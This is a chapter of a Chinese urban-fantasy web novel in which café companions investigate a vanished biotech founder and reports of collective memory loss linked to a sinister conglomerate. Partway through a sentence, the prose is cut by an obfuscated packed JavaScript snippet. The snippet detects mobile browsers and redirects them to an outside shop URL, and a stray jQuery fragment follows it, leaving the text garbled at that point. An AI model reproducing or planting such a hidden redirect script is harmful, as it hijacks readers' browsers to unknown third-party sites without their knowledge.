江风从北面过来，低低地擦过堤岸，路灯下的梧桐叶被一片片掀起来，露出叶底浅白的脉络。
两个人坐在长椅的两端，像路过歇脚的陌生游客。
远处沈墨的声音断断续续地飘过来，在喊池砚换个角度。江风把那些音节吹得模糊。路灯一盏又一盏，从堤岸尽头次第亮过来，像一串被点燃的火柴。
尹清晏把手里的纸杯放在两人之间的椅面上。咖啡早就凉了，杯壁上凝着一层水雾。
“「岁穑」还真是善变，这么快就找到了新主人。”褚徽毫注视着江面，语气随意得像在寒暄，“尹老师最近一定很忙吧。”
尹清晏没有接这个话头。
“你接触过「衡虚」了。”她说。
褚徽毫仰躺在长椅上，双手拢进衣袋。
“「蜃枢」在一个月前捕捉到一处特殊的能量痕迹。”尹清晏的目光落在江面上，语速不快，听不出任何情绪。
“「衡墟」，在晦明集团手上。”
褚徽毫没有接话。
“积木的真实身份，”她顿了顿，“是晦明集团董事长谢云山的儿子。”
“「衡墟」，和他妹妹有关。”
她没有再往下说。
褚徽毫的脚后跟在石砖上蹭了蹭，手指无意识地摩挲手腕上的木珠。药香很淡，几乎被江水的腥气盖住了。
他在想一件旧事。
“……所以他那么恨我，”褚徽毫从鼻腔里挤出一声笑，“是觉得我抢了她妹妹的东西？”
尹清晏没有回答。
他没有追问。
江面上一艘驳船缓慢地经过，汽笛声沉闷地压过水面，拖出很长的尾音。
褚徽毫忽然换了个姿势，把一条腿搭到另一条上，手臂搭在椅背上。
“你那个老相好，”他的嘴角微微弯了一下，“还在给谢云山打工呢？”
尹清晏看向他，眉目低垂。
“很久没联系了。”
她的声音依旧清冷，似乎没有被旧人牵动一丝情绪。目光收回，重新落在江面上。
“不过，深蓝前沿最近出了些问题。”
褚徽毫静静地等着听她的下文。
“他三个月前不再公开露面。公司被辉明生物收购了。”尹清晏的语速比之前慢了一些，“前员工当中，有人的记忆出了问题。范围还在扩大。”
她轻叹一口气，没有继续说下去。
褚徽毫微微侧头，看着她，声音温柔。
“好好保重，尹老师。”
驳船已经走远了，汽笛声消散在下游的方向。水面重新变得平整，路灯的倒影不再晃动。
远处堤岸的台阶上，张纸正拎着一个便利店的袋子朝这边走过来。
褚徽毫站起身，伸了个懒腰。
张纸走近了，递给他一杯热奶茶。
“走吧？”张纸说。
两个人沿着堤岸往回走。沈墨在前面冲他们挥手，池砚站在她旁边，手里拿着沈墨的手机。
回程上了高速没多久，下起了暴雨。
雨水砸在挡风玻璃上，雨刷开到最快也扫不干净。
沈墨睡着了，抱着那只玩偶歪在副驾上。张纸靠着车窗，古籍册子摊在膝盖上，人已经没了动静。池砚把车速降下来，跟着前车的尾灯走。
褚徽毫看着窗外。对向的车灯在雨里泡成一团一团，从玻璃上淌过去。
抵达的时候已经快十二点了。
咖啡馆里一股潮气。沈墨把玩偶摆在桌上，打开手机整理今天拍摄的素材。
“张纸。”池砚放下装满周边的手提袋，“你今天有什么收获吗？”
张纸从背包里把平板掏了出来。
“今天那块碑的内容，我初步理了一下。”
池砚锁好玻璃门，走过来。
“古籍里提过一群人，世世代代只做一件事——维护神器。碑上提到‘守墓’两个字，可能就是指他们。”
“守墓……”沈墨把下巴搁在玩偶脑袋上，又打了个大大的哈欠，“守谁的墓啊。”
“只是推测，碑文大半字迹已经看不清了。”
池砚把钥匙挂回墙上。“明天再说。都去睡吧。”
沈墨抱起玩偶晃了晃，算是道了晚安。楼梯上的脚步声渐渐没了。
褚徽毫推开自己房间的门，站住了。
窗开着半扇。
风把雨全灌了进来。窗帘湿透了，贴在墙上。床单洇了一大片，枕头泡得发亮，桌面湿了半边。
他站在门口看了几秒，走过去把窗关严。雨水顺着手背流下来。
他从沙发上抓起毯子，转身下了楼。
张纸还在卡座上对着平板。听见脚步声，抬头。
“怎么了？”
“窗没关。”褚徽毫把毯子扔在沙发上，人跟着倒下去，“床报废了。”
张纸合上平板站起来。“我去收拾。”
雨点淅淅沥沥地敲着雨棚。楼上传来挪动东西的动静，一下，又一下。
褚徽毫在沙发上躺了一会儿，翻了个身，又翻回来。
他坐起来，看见了墙边那架钢琴。
胡桃木的立式琴，池砚偶尔弹。他掀开琴盖，在琴凳上坐下，踩住最左边的踏板。
试了两个音。琴键有点凉。
右手先出来一个短句，左手跟上。没头没尾的调子，弹到哪算哪。雨声垫在底下。
弹着弹着，慢了下来，落进一段旧旋律里。
他的手指记得它。
张纸把湿床单卷成一团，拖干地板，又把窗户检查了一遍。最后擦桌子。
幸存的另一半桌子上停着一只蓝蝴蝶，翅膀阖着，一动不动。
琴声从地板缝里渗上来，断断续续的。张纸手上的动作放轻了。
等他抱着一床干被子下楼，琴声已经停了。
褚徽毫合上琴盖，坐回沙发上，好像刚才什么都没发生。
“床单被套都拆下来洗了，床垫也湿了，得晾一晾。”张纸把被子放在沙发扶手上，“你去我房间睡吧。”
“哦。”
褚徽毫不想多问，沙发哪里比得上床。
“弹得很好听。”
见他脚步一顿，张纸笑了笑。
第二天放晴了。
阳光从东边的窗户打进来，照到的地方冒着一层薄薄的水汽。张纸一早把床垫抬上天台，又把窗帘拆下来洗了。楼道里来来回回的脚步声，从早上响到中午。
褚徽毫睡到快一点才醒。
推开自己房间的门，空气里还有股没散干净的湿气。床板空着，窗帘也拆了，阳光直愣愣地拍在地板上，晃眼。
桌面被擦过了。水渍干透之后留下一圈一圈浅浅的印子，像年轮。
蝴蝶不见了。
褚徽毫站在桌前。手指点了点桌面。
傍晚，张纸把床垫从天台搬了回来。晒了一整天，拍上去硬邦邦的，带着日头晒透的焦味。他铺好床单，又检查了一遍窗户的插销。
褚徽毫路过门口往里看了一眼。
“好了。”张纸拍了拍被子。
“嗯。”
几天就这么过去了。
天气好了两天又阴下来。店里不忙不闲，工作日的下午客人稀，到了周末能坐满七八成。池砚调了两款新的冷萃放在菜单板上，沈墨拍了宣传图，发到店里的社交账号上去。
这天午后，云薄了一点，太阳从缝隙里漏出来，在玻璃窗上印了一条歪歪扭扭的光带。
靠窗的卡座坐着两个姑娘，对面放着两杯拿铁，吸管都没拆。两个人的脑袋挤在一块儿，盯着同一块手机屏幕。
“你看这个人，好帅。”
“哪个？”
“深蓝前沿的老板。”
“大叔？你好这口？”
“什么都好只会让我营养均衡！杂食党的快乐你不懂！”手指在屏幕上滑了几下，“而且这不叫大叔，这叫霸道总裁。”
“行行行。可是深蓝前沿不就是我们这的生物公司吗？那老板应该也是个医生或者科学家之类的？”
“不知道，不懂，但总感觉更有魅力了！”
两个人笑成一团。
沈墨端着托盘从吧台过来，两杯新做的冷萃。她把杯子放到隔壁桌，收走空盘子，路过的时候姑娘们的笑声散了几个字进耳朵里——“天才”“离奇”“可惜失踪了”。
她没在意。取餐铃又响了，后面还压着两张单子。
下午最后一拨客人走的时候天已经黑了。池砚把玻璃门上的木牌翻过来，“营业中”变成“明天见”。
张纸在吧台里洗杯子。水流声细细的，间或有玻璃碰着玻璃的轻响。池砚坐到收银台后面，翻开账本，笔帽咬在嘴里。
沈墨把最后几张椅子推回原位，顺手擦了两下桌面，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779823|207211||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往卡座里一倒。她打开手机，打开社交媒体。首页推送了一条视频，封面是一张发布会的截图。蓝色的背景板，白大褂，一个戴金丝眼镜的男人站在台上。标题打了一排粗体字——深蓝前沿被成功收购
沈墨愣了一下。
“……我去。”她坐起来，“又被手机窃听了。”
张纸从水声里偏过头：“怎么了？”
“下午那两个客人聊什么深蓝前沿，我路过听了半句，它现在就给我推，”她把手机举起来在空中晃了两下，“这不叫推荐，这叫偷窥。现在这大数据也太离谱了。”
“得了，让我看看怎么个事儿！”
她点进去了。
褚徽毫这时候从楼梯口冒出来，走到吧台接了杯温水，端着走到沈墨对面，坐下来，掏出手机，等着开饭。
视频的解说腔从沈墨手机里漏出来，配乐铺得很满，低沉的鼓点，悬疑片的路子。
“嗯……不过这个创始人确实挺帅的。”沈墨评价了一句。
画面切到一段采访片段。实验室走廊，白炽灯，男人侧身跟助手说话。他没有看镜头，下颌线条很利落，左眼角有一颗小痣。
褚徽毫的拇指停在屏幕上。
一秒。他又划了下去。
“……手握数十项核心专利，估值一度冲进细分领域前三。然而三个月前，这家公司突然停止了一切对外活动。创始人林深的最后一次公开亮相，停留在今年三月的一场内部年会上——此后，再无任何消息。”
“三个月？”沈墨吸了口气，“这人就这么蒸发了？”
她自己往下划，点开评论区。
手指划着划着，停了。
她又往上翻了翻，确认了一遍。
“有点意思。”
她声音变了调子。
张纸关掉水龙头，把手在围裙上擦了两下。
“怎么了？”
“有个人说自己是深蓝前沿的前员工，离职之后总觉得忘记了什么很重要的东西，但又说不上来到底是什么。”沈墨把手机翻过来给他看，“你再看底下。”
“这个人说前同事跟他聊起一个项目，说他全程参与过，但他一点印象都没有。他还以为对方记错了。”她又往下翻，“还有一个，翻到自己签过的合同，上面的内容完全陌生。”
“集体失忆？”
“高赞的这个人评论底下被人喷惨了，有的说保密协议签到脑子里了，有的说是电磁辐射后遗症，还有人说这是年底裁员编出来蹭流量的。”她又翻了几条，“但……还有几个跟帖的也分享了类似的经历，每个人都不太一样，总不能都是闲着无聊编故事呢吧？”
池砚合上了账本。
“把视频看完。”
沈墨把评论区拖下去，点了播放。
“……今年五月，深蓝前沿被辉明生物以全资收购方式纳入旗下。交易细节未披露。辉明生物方面仅发布三行通稿，称将保留原公司研发团队并继续推进在研项目。但据多位消息人士透露，收购完成后，深蓝前沿江城总部的办公场地已全部清空，核心研发人员去向不明——”
“等一下。”
沈墨按了暂停。
“辉明生物？好像在哪里听过……”
店里一下子安静了。冰柜压缩机嗡嗡地转着，一下一下的，像心跳。
沈墨把手机放平在桌上，声音压下来：“辉明生物……晦明集团？”
张纸走了过来，围裙还没解。他看了一眼屏幕，又看了一眼池砚。
“上次在顾老师的殿堂里，「衡墟」试图用情感做交易。现在一家做脑神经研究的公司落到晦明手上——”
“神经调控，情绪转换，意识植入。”
池砚靠在收银台边，两条手臂交叉在胸前。
“等于给那座天平配了实验室。”沈墨说完自己也愣了一下。
“那群体失忆呢？”她把手机又翻回评论区。
张纸没有立刻接话。他的目光落在自己手里那支旧钢笔上。
“如果失忆是真的，”他顿了顿，“裁妄司……”
“难道，裁妄司和晦明集团也有关系？”沈墨的手指还按在屏幕上，指甲盖泛着白。
三个人的目光落在对面的沙发上。
褚徽毫从头到尾没有开过口。
他的手机屏幕朝下，扣在桌面上。
“……我见过林深。”